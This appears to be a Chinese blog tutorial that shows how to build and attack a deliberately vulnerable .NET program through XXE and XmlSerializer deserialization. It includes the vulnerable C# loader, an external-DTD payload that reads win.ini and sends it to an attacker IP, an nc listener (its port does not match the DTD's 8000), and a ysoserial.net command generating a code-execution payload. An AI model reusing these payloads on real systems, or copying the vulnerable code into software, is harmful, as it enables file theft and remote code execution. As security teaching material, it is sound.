vlambda博客
学习文章列表

.net 的xxe漏洞和反序列化漏洞

0x01 编写漏洞demo

下载https://visualstudio.microsoft.com/zh-hans/vs/ ,安装勾选.NET桌面开发。安装好后,新建控制台应用(.NET Framework)。框架选择.NET Framework 4.5.1 (这个版本后的无xxe漏洞)。

编写如下漏洞代码,并编译。此时test.xml可控的化,就会造成xxe漏洞和,反序列化漏洞。

using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Text;using System.Threading.Tasks;using System.Xml;using System.Xml.Serialization;
namespace test{ class Program { static void Main(string[] args) { var xmlDoc = new XmlDocument(); xmlDoc.Load(@"test.xml"); foreach (XmlElement xmlItem in xmlDoc.SelectNodes("/root")) { string typeName = xmlItem.GetAttribute("type"); var xser = new XmlSerializer(Type.GetType(typeName)); var reader = new XmlTextReader(new StringReader(xmlItem.InnerXml)); xser.Deserialize(reader); } } }}

0x02  XXE漏洞利用

(1)漏洞证明

test.exe所在目录下创建test.xml,内容如下:

<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://192.168.40.188/test.dtd"><foo>&e1;</foo>

192.168.40.188为攻击者ip,攻击者运行命令

sudo tail -F /var/log/apache2/access.log

然后,双击test.exe,模拟程序读取xml文件。此时,apache访问日志接受到信息,证明存在XXE漏洞。

.net 的xxe漏洞和反序列化漏洞

(2)xxe读取文件

在kali的/var/www/html下创建test.dtd文件,内容如下:

<!ENTITY % p1 SYSTEM "file:///C:/Windows/win.ini"><!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://192.168.40.188:8000/1oz8k3t1?%p1;'>">%p2;

然后,在运行一个nc,监听8080端口。

sudo nc -lnvp 8080

再次,运行test.exe,此时,windows上的win.ini被读取出来了。

文件读取成功!

0x03 XmlSerializer的反序列化漏洞

源码存在反序列化漏洞,下载https://github.com/pwntester/ysoserial.net,生成payload.

ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc" -o raw > test.xml

此时,再运行test.exe,则会触发反序列漏洞,弹出计算器!


0x04 总结

作为漏洞演示,此处是创建console应用程序从本地读取xml文件。当不安全的反序列化和读取xml使用在web应用中时,同样会造成漏洞。比较典型的就是DotNetNuke的反序列化漏洞。